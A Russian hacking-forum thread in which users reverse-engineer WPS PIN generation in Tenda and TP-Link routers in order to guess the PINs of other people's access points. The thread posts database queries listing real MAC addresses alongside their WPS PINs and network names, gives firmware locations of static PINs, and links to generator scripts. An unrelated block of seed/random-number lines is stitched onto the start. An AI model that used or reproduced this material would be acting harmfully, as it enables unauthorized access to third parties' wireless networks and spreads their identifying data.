seed=963, rand=8766095
seed=964, rand=4489216
seed=965, rand=1360658
seed=966, rand=5289410
seed=967, rand=1844707
seed=968, rand=1012989
seed=969, rand=1812725
seed=970, rand=1497038
seed=971, rand=6653214
seed=972, rand=1981087
seed=973, rand=1149370
seed=974, rand=3176529
seed=975, rand=1633419
seed=976, rand=8017018
seed=977, rand=2117468
seed=978, rand=1285750
seed=979, rand=4540334
seed=980, rand=1769799
seed=981, rand=9380823
seed=982, rand=1063649
seed=983, rand=1422131
seed=984, rand=5904138
seed=985, rand=1906180
seed=986, rand=1074462
seed=987, rand=2427453
seed=988, rand=1558511
seed=989, rand=7267942
seed=990, rand=2042560
seed=991, rand=1210843
seed=992, rand=3791257
seed=993, rand=1694892
seed=994, rand=8631746
seed=995, rand=3145728
seed=996, rand=1347223
seed=997, rand=5155061
seed=998, rand=1831272
seed=999, rand=9995550

Piligrim740
07.07.2020, 14:02
написал программку на Си и собрал её с разными стандартными библиотеками Си: GNU C Library, Musl libc и uClibc.



Ещё-бы запилить GUI, под винду

Генератор WPS, под Tenda... много вопросов снимет.

Isica
07.07.2020, 14:32
Ещё-бы запилить GUI, под винду

Генератор WPS, под Tenda...



Да рано ещё GUI--генератор пока в стадии Альфы.

Сейчас основные задачи:

1) качественно очистить базу от нецелевых устройств, сохранив при этом максимум целевых (особенно в OUI C8:3A:35), и от прочих заведомо кривых опорных точек (целевых устройств с недефолтными пинами);

2) выявить все "группы совместимости" и правильно распределить устройства между ними;

3) реализовать некоторые дополнения к алгоритму (фильтрации, оптимизации и т.п.).

TOX1C
07.07.2020, 16:00
Cтатика же.



Как показала практика, статика бывает разной.

Псевдослучайная генерация при первой загрузке после сброса настроек - один вариант.

Константа в бинарнике или в конфигурационных файлах в прошивке - второй вариант.

Со статикой в этих тендах странно то, что это не какой-то обособленный кусок устройств. Они размазаны по всему диапазону, рядом с этими устройствами попадаются с 24бит алгоритмом, и с неизвестным целевым алгоритмом. Пока что не попалось ни одно устройство, у которого на этикетке был бы этот самый static pin.

Как вариант: в старые устройства, где пин генерировался от MAC адреса, вшили прошивку, написанную для новых устройств, где пин шьется в EEPROM. У старых устройств в области, где ожидается pin, записано что-то другое, что в итоге и интерпретируется как static pin. Вполне может быть, так как



Если кратко: у китайцев бардак.



И у одной из моделей были устройства со "старым серийником" и 24bit пинкодом, с "промежуточным" серийником и тем же 24битным пином, и 2 варианта с "обычным" серийником - с 24битным пином, и с неизвестным алгоритмом.



выявить все "группы совместимости" и правильно распределить устройства между ними;



Пока что можно утверждать только о том, что отгадать pin можно для устройств одной модели из разных партий, выпущенных непрерывно друг за другом. Между разными устройствами выпущенными даже в "стык", угадать не получится. Вот как пример:

Какой красивый серийник))

Экспериментальный генератор не смог подобрать ничего вообще.

Так же в мусор летит теория, что pin коды для каждой партии начинаются всегда с определенного pin кода.

Monohrom
07.07.2020, 16:12
Так же в мусор летит теория, что pin коды для каждой партии начинаются всегда с определенного pin кода.



Мы нашли два Тенды с одинаковым мак адресом но разными пинкодами. Как такое возможно?

C8:3A:35:3C:04:38

67814855

C8:3A:35:3C:04:38

29349944

Обе тенды целевые но пинкоды разные. Что так меняется что пины разные? Меняется DeltaMac? Если да то почему?

По логике если это полные клоны то должно всё совпадать, а тут нет.

И самое удивительное что @Isica (https://forum.antichat.xyz/members/327913/) сумел найти пинкоды от обеих Тенд. Это значит что у нас данные перемешаны с клонами?

Isica
07.07.2020, 18:13
Это значит что у нас данные перемешаны с клонами?



Да, я уже писал об этом.

Isica
07.07.2020, 18:17
Какой красивый серийник))

Экспериментальный генератор не смог подобрать ничего вообще.



Да, и у меня по 8 векторам не находится даже халф (по крайней мере, без танцев с бубном).

TOX1C
07.07.2020, 21:13
Что так меняется что пины разные? Меняется DeltaMac? Если да то почему?



Это 2 абсолютно разные устройства, с одинаковым MAC адресом. Поскольку это разные устройства, выпущенные в разное время, в разных партиях, и с разным первым устройством в серии, то поменялась и "точка отсчета" у пин-кодов и MAC адресов, поэтому пин разный.

Тем временем, удалось вскрыть первую точку с помощью экспериментального генератора. Еще одна победа.

И еще кое-что. В прошивках adsl роутеров, а может и не только в них, по вот этой ссылке можно найти дебаг информацию. Все на китайском, но это не проблема с яндексовским переводчиком

http://IP_роутера/svn_log.html

Работает только после авторизации.

Isica
08.07.2020, 00:53
Так же в мусор летит теория, что pin коды для каждой партии начинаются всегда с определенного pin кода.



Это доказано?

Isica
08.07.2020, 17:32
Сделал выборку всех популятных пинов у Тенд:

MariaDB [Tenda]> select concat(lpad(PIN,7,0),CRC) PIN8,count(*) n,count(distinct(OUI)) nOUIs,count(distinct(Model)) nModels, group_concat(distinct(OUI)) OUIs from TendaAll where Model like '%Realtek%' group by PIN8 having n>nOUIs*2 order by n desc,OUIs;
+----------+-----+-------+---------+-------------------------------------+
| PIN8 | n | nOUIs | nModels | OUIs |
+----------+-----+-------+---------+-------------------------------------+
| 29294176 | 478 | 4 | 5 | 04:95:E6,D8:32:14,CC:2D:21,C8:3A:35 |
| 69790980 | 9 | 1 | 4 | C8:3A:35 |
| 64274959 | 7 | 3 | 5 | C8:3A:35,58:D9:D5,08:40:F3 |
| 10396797 | 4 | 1 | 2 | C8:3A:35 |
| 26707693 | 4 | 1 | 2 | C8:3A:35 |
+----------+-----+-------+---------+-------------------------------------+
5 rows in set (0.88 sec)

MariaDB [Tenda]> select concat(lpad(PIN,7,0),CRC) PIN8,count(*) n,count(distinct(OUI)) nOUIs,count(distinct(Model)) nModels, group_concat(distinct(OUI)) OUIs from TendaAll group by PIN8 having n>nOUIs*2 order by n desc,OUIs; +----------+------+-------+---------+----------------------------------------------------------------+
| PIN8 | n | nOUIs | nModels | OUIs |
+----------+------+-------+---------+----------------------------------------------------------------+
| 25086164 | 6994 | 1 | 1 | C8:3A:35 |
| 35806691 | 5173 | 1 | 1 | C8:3A:35 |
| 45304347 | 3004 | 2 | 1 | C8:3A:35,50:0F:F5 |
| 00000000 | 2167 | 4 | 3 | 00:B0:0C,C8:3A:35,50:0F:F5,D8:32:14 |
| 29294176 | 478 | 4 | 5 | C8:3A:35,D8:32:14,CC:2D:21,04:95:E6 |
| 12345670 | 421 | 1 | 2 | C8:3A:35 |
| 43196036 | 300 | 1 | 1 | C8:3A:35 |
| 63491838 | 289 | 1 | 1 | C8:3A:35 |
| 71294987 | 239 | 1 | 1 | C8:3A:35 |
| 63410372 | 227 | 1 | 1 | C8:3A:35 |
| 42315445 | 179 | 1 | 1 | C8:3A:35 |
| 40235448 | 169 | 1 | 1 | C8:3A:35 |
| 12345678 | 155 | 2 | 1 | C8:3A:35,50:0F:F5 |
| 74250226 | 126 | 1 | 1 | C8:3A:35 |
| 65446225 | 109 | 1 | 1 | C8:3A:35 |
| 37293499 | 100 | 1 | 1 | C8:3A:35 |
| 89075104 | 91 | 1 | 1 | C8:3A:35 |
| 22923165 | 85 | 2 | 1 | C8:3A:35,04:95:E6 |
| 21015434 | 84 | 1 | 1 | C8:3A:35 |
| 27334737 | 83 | 1 | 1 | C8:3A:35 |
| 09278325 | 65 | 1 | 1 | C8:3A:35 |
| 57695310 | 55 | 1 | 1 | C8:3A:35 |
| 15864710 | 51 | 1 | 1 | C8:3A:35 |
| 32654554 | 50 | 1 | 1 | C8:3A:35 |
| 14100185 | 45 | 1 | 1 | C8:3A:35 |
| 33599526 | 40 | 7 | 6 | CC:2D:21,D8:32:14,E8:65:D4,50:0F:F5,50:2B:73,04:95 :E6,C8:3A:35 |
| 03436165 | 38 | 1 | 1 | C8:3A:35 |
| 03974247 | 38 | 1 | 1 | C8:3A:35 |
| 25563818 | 37 | 1 | 2 | C8:3A:35 |
| 40234083 | 35 | 1 | 1 | C8:3A:35 |
| 19967899 | 33 | 1 | 1 | C8:3A:35 |
| 43015368 | 30 | 1 | 1 | C8:3A:35 |
| 10396797 | 26 | 1 | 3 | C8:3A:35 |
| 96789384 | 26 | 1 | 1 | C8:3A:35 |
| 54858404 | 25 | 1 | 1 | C8:3A:35 |
| 10150047 | 24 | 1 | 1 | C8:3A:35 |
| 26850122 | 24 | 1 | 1 | C8:3A:35 |
| 50542208 | 24 | 1 | 1 | C8:3A:35 |
| 42349686 | 23 | 1 | 1 | C8:3A:35 |
| 45793769 | 23 | 1 | 1 | C8:3A:35 |
| 36507634 | 22 | 1 | 1 | C8:3A:35 |
| 42987840 | 20 | 1 | 1 | C8:3A:35 |
| 58595282 | 20 | 1 | 1 | C8:3A:35 |
| 66094982 | 19 | 1 | 1 | C8:3A:35 |
| 15338549 | 18 | 1 | 1 | C8:3A:35 |
| 16356641 | 18 | 1 | 1 | C8:3A:35 |
| 28626305 | 18 | 1 | 1 | C8:3A:35 |
| 35688624 | 18 | 1 | 2 | C8:3A:35 |
| 56805734 | 18 | 1 | 1 | C8:3A:35 |
| 03436080 | 17 | 1 | 1 | C8:3A:35 |
| 39201331 | 17 | 1 | 1 | C8:3A:35 |
| 52962349 | 17 | 1 | 1 | C8:3A:35 |
| 60432544 | 17 | 1 | 1 | C8:3A:35 |
| 71496030 | 17 | 1 | 1 | C8:3A:35 |
| 89478486 | 17 | 1 | 1 | C8:3A:35 |
| 26579474 | 16 | 1 | 1 | C8:3A:35 |
| 42694243 | 16 | 1 | 1 | C8:3A:35 |
| 43033935 | 16 | 1 | 1 | C8:3A:35 |
| 83940743 | 16 | 1 | 1 | C8:3A:35 |
| 25777390 | 15 | 1 | 1 | C8:3A:35 |
| 45445941 | 14 | 1 | 1 | C8:3A:35 |
| 47497726 | 14 | 1 | 2 | C8:3A:35 |
| 34524664 | 12 | 1 | 1 | C8:3A:35 |
| 62071598 | 12 | 1 | 1 | C8:3A:35 |
| 91163974 | 12 | 1 | 1 | C8:3A:35 |
| 98652884 | 12 | 1 | 1 | C8:3A:35 |
| 16518568 | 11 | 1 | 1 | C8:3A:35 |
| 56936858 | 11 | 1 | 1 | C8:3A:35 |
| 87654321 | 11 | 1 | 1 | C8:3A:35 |
| 16238381 | 10 | 1 | 1 | C8:3A:35 |
| 42298885 | 10 | 1 | 1 | C8:3A:35 |
| 69790980 | 10 | 1 | 5 | C8:3A:35 |
| 06966409 | 9 | 1 | 1 | C8:3A:35 |
| 28096931 | 9 | 1 | 1 | C8:3A:35 |
| 58898932 | 9 | 1 | 1 | C8:3A:35 |
| 11223344 | 8 | 1 | 1 | C8:3A:35 |
| 19120225 | 8 | 1 | 1 | C8:3A:35 |
| 24060592 | 8 | 1 | 1 | C8:3A:35 |
| 88323206 | 8 | 1 | 1 | C8:3A:35 |
| 01234567 | 7 | 1 | 1 | C8:3A:35 |
| 12850716 | 7 | 1 | 1 | C8:3A:35 |
| 14151743 | 7 | 1 | 1 | C8:3A:35 |
| 17159685 | 7 | 1 | 1 | C8:3A:35 |
| 20362027 | 7 | 1 | 1 | C8:3A:35 |
| 23186330 | 7 | 1 | 1 | C8:3A:35 |
| 41472644 | 7 | 1 | 2 | C8:3A:35 |
| 43138616 | 7 | 1 | 1 | C8:3A:35 |
| 64274959 | 7 | 3 | 5 | C8:3A:35,08:40:F3,58:D9:D5 |
| 10928806 | 6 | 1 | 2 | C8:3A:35 |
| 31129220 | 6 | 1 | 1 | C8:3A:35 |
| 40982311 | 6 | 1 | 1 | C8:3A:35 |
| 54024052 | 6 | 1 | 1 | C8:3A:35 |
| 60113757 | 6 | 1 | 1 | C8:3A:35 |
| 64717159 | 6 | 1 | 1 | C8:3A:35 |
| 73206903 | 6 | 1 | 1 | C8:3A:35 |
| 73598831 | 6 | 1 | 1 | C8:3A:35 |
| 98765432 | 6 | 1 | 1 | C8:3A:35 |
| 99158019 | 6 | 1 | 1 | C8:3A:35 |
| 14293122 | 5 | 1 | 1 | C8:3A:35 |
| 14739118 | 5 | 1 | 1 | C8:3A:35 |
| 16759657 | 5 | 1 | 1 | C8:3A:35 |
| 23818637 | 5 | 1 | 1 | C8:3A:35 |
| 27637685 | 5 | 1 | 1 | C8:3A:35 |
| 28172697 | 5 | 1 | 1 | C8:3A:35 |
| 32867206 | 5 | 1 | 1 | C8:3A:35 |
| 33699288 | 5 | 1 | 1 | C8:3A:35 |
| 36697168 | 5 | 1 | 1 | C8:3A:35 |
| 41409169 | 5 | 1 | 1 | C8:3A:35 |
| 41768631 | 5 | 1 | 1 | C8:3A:35 |
| 44229375 | 5 | 1 | 1 | C8:3A:35 |
| 44374570 | 5 | 1 | 1 | C8:3A:35 |
| 45243967 | 5 | 1 | 1 | C8:3A:35 |
| 49893144 | 5 | 1 | 1 | C8:3A:35 |
| 51243890 | 5 | 1 | 1 | C8:3A:35 |
| 57585789 | 5 | 1 | 1 | C8:3A:35 |
| 61021730 | 5 | 1 | 1 | C8:3A:35 |
| 75587772 | 5 | 1 | 1 | C8:3A:35 |
| 10203040 | 4 | 1 | 1 | C8:3A:35 |
| 11685364 | 4 | 1 | 1 | C8:3A:35 |
| 12279180 | 4 | 1 | 2 | C8:3A:35 |
| 14997846 | 4 | 1 | 1 | C8:3A:35 |
| 15397560 | 4 | 1 | 1 | C8:3A:35 |
| 26707693 | 4 | 1 | 2 | C8:3A:35 |
| 47506077 | 4 | 1 | 1 | C8:3A:35 |
| 78256224 | 4 | 1 | 1 | C8:3A:35 |
| 93055222 | 4 | 1 | 1 | C8:3A:35 |
| 00818322 | 3 | 1 | 1 | C8:3A:35 |
| 10552728 | 3 | 1 | 2 | C8:3A:35 |
| 11111111 | 3 | 1 | 1 | C8:3A:35 |
| 12344321 | 3 | 1 | 1 | C8:3A:35 |
| 14580222 | 3 | 1 | 1 | C8:3A:35 |
| 15391629 | 3 | 1 | 1 | C8:3A:35 |
| 15893765 | 3 | 1 | 2 | C8:3A:35 |
| 17377126 | 3 | 1 | 1 | C8:3A:35 |
| 19216801 | 3 | 1 | 1 | C8:3A:35 |
| 20030889 | 3 | 1 | 1 | C8:3A:35 |
| 24912648 | 3 | 1 | 1 | C8:3A:35 |
| 27070918 | 3 | 1 | 1 | C8:3A:35 |
| 27626566 | 3 | 1 | 1 | C8:3A:35 |
| 34258125 | 3 | 1 | 1 | C8:3A:35 |
| 39719041 | 3 | 1 | 2 | C8:3A:35 |
| 39923349 | 3 | 1 | 1 | C8:3A:35 |
| 41132647 | 3 | 1 | 1 | C8:3A:35 |
| 42392163 | 3 | 1 | 1 | C8:3A:35 |
| 44181444 | 3 | 1 | 1 | C8:3A:35 |
| 47090323 | 3 | 1 | 1 | C8:3A:35 |
| 48018821 | 3 | 1 | 1 | C8:3A:35 |
| 48051927 | 3 | 1 | 3 | C8:3A:35 |
| 53335043 | 3 | 1 | 2 | C8:3A:35 |
| 67139835 | 3 | 1 | 1 | C8:3A:35 |
| 71521978 | 3 | 1 | 1 | C8:3A:35 |
| 74333097 | 3 | 1 | 2 | C8:3A:35 |
| 76223488 | 3 | 1 | 1 | C8:3A:35 |
| 85756854 | 3 | 1 | 1 | C8:3A:35 |
| 22104151 | 3 | 1 | 1 | D8:32:14 |
+----------+------+-------+---------+----------------------------------------------------------------+
155 rows in set (2.22 sec)

Думаю, пригодится.

Monohrom
08.07.2020, 18:26
29294176



Это статика но это очень любопытно. Эта статика находится на целевых Тендах. Очень похоже на Броадкомовскую статику но только здесь Realtek. И эта статика проявляется на различных прошивках.

Tenda Realtek Router, firmware: 1.1.0

Tenda Realtek Router, firmware: V12.01.01.42_multi

Tenda 11N Wireless Router

Tenda Realtek Router, firmware: V12.01.01.29_multi

Tenda Realtek Router, firmware: V12.01.01.39_multi

Tenda Realtek Router, firmware: V12.01.01.48_multi



12345670



Это стандартный пинкод от Реалтека. Он прописан по умолчанию



00000000



Это стандартный пинкод кнопки WPS PBC

Monohrom
08.07.2020, 19:00
Псевдослучайная генерация при первой загрузке после сброса настроек - один вариант.



Вот так и Броадкомовская статика получилась.



Константа в бинарнике или в конфигурационных файлах в прошивке - второй вариант.



Вот такого не видел. Есть пример таких роутеров?



Со статикой в этих тендах странно то, что это не какой-то обособленный кусок устройств. Они размазаны по всему диапазону



Так переиспользование мак адресов. Причем минимум трижды.



Пока что не попалось ни одно устройство, у которого на этикетке был бы этот самый static pin.



Это вполне можно обьяснить. На картинке D-Link DSL-2640NRU на котором броадкомовская статика. На наклейке пинкод не написан.

Triton_Mgn
09.07.2020, 03:57
Можно взять пару роутеров с авито для тестов, готов скинуться

CRACK211
09.07.2020, 06:41
Можно взять пару роутеров с авито для тестов, готов скинуться



я тоже готов поддержать . могу купить . только скажите какая точно модель нужна

Monohrom
09.07.2020, 21:40
Под влиянием открытий последних дней мы с @4Fun (https://forum.antichat.xyz/members/324235/) занялись изучением генерации пин-кодов в роутерах TP-LINK по специальной кнопке в веб-интерфейсе и сделали несколько выводов:

1) Мак адрес не участвует в генерации пин-кодов

2) Пин-коды генерируются на основе текущего времени, и более ни на чём не основываются, кроме времени;

3) время, на котором они основываются, локальное, то есть timestamp, но зависящий от часового пояса (в старых прошивках) — в новых прошивках (с голубой веб-мордой) за основу взят самый обычный UTC timestamp.

Для потверждения наших выводов мы провели эксперимент:

Взяли две разные модели роутеров от TP-LINK на базе Atheros: TL-WR740N v6 и TL-WR741ND v4.

Синхронизировали на них время, часовые пояса и начали генерировать пин-коды через веб-морды с помощью кнопок "Создать новый пин-код", при этом нажимая их одновременно. Так проделали три раза и получили 3 пары совпадающих пин-кодов. Вы можете наблюдать их ниже, котрольные суммы пин-кодов отброшены.


TL-WR740N v6 TL-WR741ND v4
2752101 2752101
3120642 3120642
9544919 9544919



После мы решили проделать аналогичные действия на новых роутерах TP-LINK на базе Mediatek (с голубыми веб-мордами): TL-WR840N v4 и TL-WR841N v13

И тоже получили 3 пары совпадающих пин-кодов:


TL-WR840N v4 TL-WR841N v13
2786309 2786309
2067563 2067563
3089540 3089540



За этими двумя экспериментами последовал ряд других, в ходе которых мы заметили, что:

1) у старых роутеров TP-LINK на базе чипов Atheros timestamp, который участвует в генерации пинкода, привязан к часовому поясу;

2) у новых роутеров TP-LINK на базе MediaTek для генерации пин-кода используется классический юниксовый timestamp, не привязанный к часовому поясу, то есть количество секунд с 1 января 1970 года по UTC.

Для того чтобы окончательно удостовериться в увиденном, мы написали пару скриптов для синхронной генерации пин-кодов на двух роутерах TP-Link (работают как нажатие кнопки в веб-морде, по сути): https://mega.nz/file/fnpU1SDS#2RpEv2vk-OJBoQrEgbuMKuPmCJ1tiWOTFqVSo9uqLIU

В архиве:

main_green_basic.py — для роутеров TP-LINK с зелёным веб-интерфейсом и базовой аутентификацией

main_blue.py — для роутеров TP-Link с голубым веб-интерфейсом и форм-авторизацией

Оба скрипта работают только с парой идентичных роутеров. IP-адреса и авторизация роутеров настраивается в файле config.json. Для запуска требуется Python 3.6 и выше и модуль requests.

Monohrom
10.07.2020, 23:18
Имелись в виду тенды с попадающейся статикой.



По идее у них тоже не должно быть наклейки с пинкодом. У этих Тенд

Monohrom
11.07.2020, 09:14
Tenda N3



Эта тенда на базе Броадкома если верить этому сайту:

https://remont-aud.net/dump/planshety_i_ehl_knigi/tenda_n3/59-1-0-5916

Так что вполне возможно что на ней тоже броадкомовская статика сгенерированая алгоритмом. Тот вывод что показал @binarymaster (https://forum.antichat.xyz/members/148032/) где совпадают пинкоды и роутеры его можно продолжать и продолжать. Он не совсем полный.

Monohrom
11.07.2020, 10:32
Вероятные - ZTE ZXV10 H108L с его 94229882 и Totolink N150RT / N300RT с их 99956042



Я проверил на всякий случай в поисках констант. Пин-коды вшиты в прошивки роутеров.

Пин-код для ZTE ZXV10 H108L находиться здесь: squashfs-root/bin/cspd.

Для Totolink N150RT и N300RT пин-код можно найти вот тут: squashfs-root/bin/flash

Ниже скриншоты находок. Прошивки брал с сайтов вендоров.

Isica
12.07.2020, 00:48
Известный роутер и его серийник: E394201 08 46 011961 50:0F:F5:68E:F0

У искомого роутера, 50:0f:f5:67:8e:e01 - серийник должен быть ...46 001207

У опорного роутера, 50:0f:f5:67:84:001 - предполагаемый серийник ...46 000860

50:0F:F5:67:69:30 - должен быть первым в партии. В выгрузке из базы, несколько роутеров из предыдущей 45 партии, отлично гармонируют с целевым роутером. Т.е. в начале партии пинкод не сбрасывается(?)



Увы, но в данном случае, ваши "опечатки" оказались стратегическими, т.к. в этом диапазоне перемешаны устойства с чётными и нечётными маками (походу, похоже на "белый реюзинг" маков), причём чётные--это Realtek, а нечётные--'Micro DSL Tenda'.

А мой генератор разносит чёт и нечёт по разным категориям (эксперименты показали, что это оправдано), т.е., для нечётного MAC будут искаться только нечётные опорные точки.

Isica
13.07.2020, 04:28
Вот ещё один яркий пример (чёрно-жёлтого) реюзинга маков:


MariaDB [Tenda]> select tenda_pin8('04:95:E6:53:68:B0');
*************************** 1. row ***************************
tenda_pin8('04:95:E6:53:68:B0'):
|----------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) 04:95:E6:53:65:A0, -784, 1437 пар, 105 уникальных дельт (1:13.7), 72 мажорных(вес 97.7%)
|2) 04:95:E6:53:65:20, -912, 1328 пар, 140 уникальных дельт (1:9.49), 90 мажорных(вес 96.2%)
|3) 04:95:E6:53:64:50, -1120, 1289 пар, 78 уникальных дельт (1:16.5), 43 мажорных(вес 97.3%)
|4) 04:95:E6:53:64:48, -1128, 1226 пар, 79 уникальных дельт (1:15.5), 54 мажорных(вес 98.0%)
|5) 04:95:E6:53:64:38, -1144, 1195 пар, 59 уникальных дельт (1:20.3), 34 мажорных(вес 97.9%)
|6) 04:95:E6:53:64:28, -1160, 1207 пар, 78 уникальных дельт (1:15.5), 49 мажорных(вес 97.6%)
|7) 04:95:E6:53:64:08, -1192, 1181 пар, 92 уникальных дельт (1:12.8), 68 мажорных(вес 98.0%)
|8) 04:95:E6:53:63:A0, -1296, 1201 пар, 92 уникальных дельт (1:13.1), 57 мажорных(вес 97.1%)
|----------------------------------------------------------------------------------------------|
|После объединения осталось 523 пинов, из них 0 полностью перекрёстных (MaxX=3).
|Эффективность халф-оптимизации: 2.20.
|----------------------------------------------------------------------------------------------|
|ИТОГО: 238 фёст-халфов, 0 полно-перекрёстных.
|----------------------------------------------------------------------------------------------|
1 row in set (1.33 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X>1 order by n;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 6647 | 3 | 3 | 1010 | 0 | 0 | 7 | 332 | 0 | 0 | 446 | 225 |
| 2 | 6582 | 3 | 3 | 801 | 0 | 0 | 30 | 356 | 0 | 0 | 259 | 156 |
| 3 | 9353 | 3 | 3 | 638 | 90 | 16 | 0 | 0 | 147 | 385 | 0 | 0 |
| 4 | 6581 | 3 | 3 | 601 | 0 | 0 | 22 | 59 | 0 | 0 | 73 | 447 |
| 5 | 7582 | 3 | 3 | 391 | 0 | 0 | 260 | 69 | 0 | 0 | 54 | 8 |
| 6 | 5065 | 3 | 3 | 387 | 91 | 254 | 0 | 0 | 2 | 40 | 0 | 0 |
| 7 | 7581 | 3 | 3 | 370 | 0 | 0 | 312 | 18 | 0 | 0 | 17 | 23 |
| 8 | 5130 | 3 | 3 | 314 | 53 | 97 | 0 | 0 | 133 | 31 | 0 | 0 |
| 9 | 9287 | 3 | 3 | 311 | 118 | 26 | 0 | 0 | 2 | 165 | 0 | 0 |
| 10 | 7647 | 3 | 3 | 287 | 0 | 0 | 125 | 62 | 0 | 0 | 73 | 27 |
| 11 | 5064 | 3 | 3 | 50 | 15 | 32 | 0 | 0 | 2 | 1 | 0 | 0 |
| 12 | 8353 | 2 | 2 | 836 | 0 | 59 | 0 | 0 | 737 | 40 | 0 | 0 |
| 13 | 6065 | 2 | 2 | 483 | 397 | 28 | 0 | 0 | 0 | 58 | 0 | 0 |
| 14 | 6130 | 2 | 2 | 363 | 284 | 12 | 0 | 0 | 0 | 67 | 0 | 0 |
| 15 | 9288 | 2 | 2 | 279 | 61 | 13 | 0 | 0 | 0 | 205 | 0 | 0 |
| 16 | 3359 | 2 | 2 | 175 | 0 | 0 | 51 | 101 | 0 | 0 | 23 | 0 |
| 17 | 5647 | 2 | 2 | 100 | 0 | 0 | 0 | 24 | 0 | 0 | 33 | 43 |
| 18 | 3424 | 2 | 2 | 86 | 0 | 0 | 13 | 49 | 0 | 0 | 24 | 0 |
| 19 | 5582 | 2 | 2 | 86 | 0 | 0 | 0 | 32 | 0 | 0 | 26 | 28 |
| 20 | 8288 | 2 | 2 | 80 | 0 | 61 | 0 | 0 | 1 | 18 | 0 | 0 |
| 21 | 5581 | 2 | 2 | 72 | 0 | 0 | 0 | 9 | 0 | 0 | 4 | 59 |
| 22 | 6064 | 2 | 2 | 58 | 50 | 5 | 0 | 0 | 0 | 3 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
22 rows in set (0.00 sec)

PS

Искал реальную точку. Теперь погляжу, какой вариант подойдёт...

up

А поглядеть не представляется возможным--у точки отключён wps.

Но может её сбрутят...

TOX1C
13.07.2020, 14:43
мой генератор разносит чёт и нечёт по разным категориям (эксперименты показали, что это оправдано)



А мои вчерашние эксперименты с выгрузкой и фильтрами



Выгрузка с необработанными Тендами + инструменты для работы с необработанной выгрузкой(фильтрация, сортировка), а также инструменты для работы с алгоритмом(генерация дельт)

https://mega.nz/file/TjhxjLTZ#5Jvs2WcN-krwQfhiR69_znW3JLw8GNMhhGGwkLOh2L0



показали, что стоит разносить по разным категориям не только разные устройства (на базе realtek в одну категорию, на базе broadcom в другую), и не только устройства с разными bssid, а и устройства одинаковой модели с разными прошивками.

Пользователи обычно никогда не прошивают роутеры, а в этом диапазоне неплохое месиво версий прошивок. Одновременно с конвеера роутеры с разными прошивками обычно не идут. Осталось только разобраться, пустили ли в серию еще роутеров, втупую присваивая им существующие адреса (т.е. существуют дубли), или китайцы обнюхались испарениями от пластика и паяльной пасты, и додумались еще до чего-то

Две разные серии можно заметить даже глазами, по непрерывной правильной цепочке роутеров от 63:68 и до 64:50 и по затесавшимся между ними странными роутерами.

Интересно, что если заменить 0 и 1 на 8 и 9, подвох глазом будет сложно заметить.

И что-то мне подсказывает, что у реальной точки прошивка будет совпадать с прошивкой тех устройств, на основе которых подсчитался pin.

Isica
14.07.2020, 03:26
Осталось только разобраться, пустили ли в серию еще роутеров, втупую присваивая им существующие адреса (т.е. существуют дубли)



Ну конечно же пустили:


*************************** 1. row ***************************
MAC: 04:95:E6:02:2A:00
models:
Realtek Boa (TOTOLINK CP300 (Firmware V2.0.0)) 78417885 WiFi Ora WiFi Asal Kumpul 41,
Realtek Boa (TOTOLINK CP300 (Firmware V2.0.4)) 98725397 WiFi Ora WiFi Asal Kumpul 41
*************************** 2. row ***************************
MAC: 04:95:E6:0A:F0:B8
models:
Tenda Realtek Router, firmware: V12.01.01.28_multi 17975308 Tenda_0AF0B8,
Tenda Realtek Router, firmware: V12.01.01.45_multi 49359398 Mamabolo
*************************** 3. row ***************************
MAC: 04:95:E6:0E:04:78
models:
Tenda Realtek Router, firmware: V12.01.01.41_multi 12298655 ADAM.,
Tenda Realtek Router, firmware: V12.01.01.45_multi 23021389 Avisek_Knet
*************************** 4. row ***************************
MAC: 04:95:E6:3B:9B:C8
models:
Tenda Realtek Router, firmware: V12.01.01.29_multi 48216050 Home,
Tenda Realtek Router, firmware: V12.01.01.39_multi 58727850 MT-Link_3B9BC8
*************************** 5. row ***************************
MAC: 04:95:E6:3B:A4:50
models:
Tenda Realtek Router, firmware: V12.01.01.29_multi 29591954 Anil's Home,
Tenda Realtek Router, firmware: V12.01.01.40_multi 39445841 B&B fiber net-03101339527
*************************** 6. row ***************************
MAC: 04:95:E6:3B:CB:80
models:
Tenda Realtek Router, firmware: V12.01.01.29_multi 28541141 GCASF,
Tenda Realtek Router, firmware: V12.01.01.33_multi 38395031 Cybernet hassan 03478544162
*************************** 7. row ***************************
MAC: 04:95:E6:42:4C:28
models:
Tenda Realtek Router, firmware: V12.01.01.33_multi 65677513 FREEWIFI,
Tenda Realtek Router, firmware: V12.01.01.36_multi 23012882 MasisNet 2632
*************************** 8. row ***************************
MAC: 04:95:E6:42:62:C8
models:
Tenda Realtek Router, firmware: V12.01.01.33_multi 37777630 Tenda,
Tenda Realtek Router, firmware: V12.01.01.36_multi 62224680 Karen
*************************** 9. row ***************************
MAC: 04:95:E6:5D:CA:B0
models:
Tenda Realtek Router, firmware: V12.01.01.33_multi 67053872 Santos FC,
Tenda Realtek Router, firmware: V12.01.01.39_multi 56242447 Tenda
*************************** 10. row ***************************
MAC: 04:95:E6:5F:C3:F8
models:
Tenda Realtek Router, firmware: V12.01.01.35_multi 20138769 Berezsnyik,
Tenda Realtek Router, firmware: V12.01.01.42_multi 13336448 MASS INFO TECH
*************************** 11. row ***************************
MAC: 04:95:E6:62:18:20
models:
Tenda Realtek Router, firmware: V12.01.01.34_multi 38079337 Home 4,
Tenda Realtek Router, firmware: V12.01.01.48_multi 19275369 Mahek
*************************** 12. row ***************************
MAC: 04:95:E6:6D:3E:20
models:
Tenda Realtek Router, firmware: V12.01.01.36_multi 69085406 Tenda_6D3E20,
Tenda Realtek Router, firmware: V12.01.01.42_multi 75200022 barman 6c
*************************** 13. row ***************************
MAC: 04:95:E6:7E:95:68
models:
Tenda Realtek Router, firmware: V12.01.01.32_multi 35321637 password chahye ?,
Tenda Realtek Router, firmware: V12.01.01.42_multi 33859538 QUALITYPHARMA
*************************** 14. row ***************************
MAC: 04:95:E6:7E:CF:20
models:
Tenda Realtek Router, firmware: V12.01.01.42_multi 27625187 vardand,
Tenda Realtek Router, firmware: V12.01.01.50_multi 61315129 imran aariyan
*************************** 15. row ***************************
MAC: 04:95:E6:82:10:F0
models:
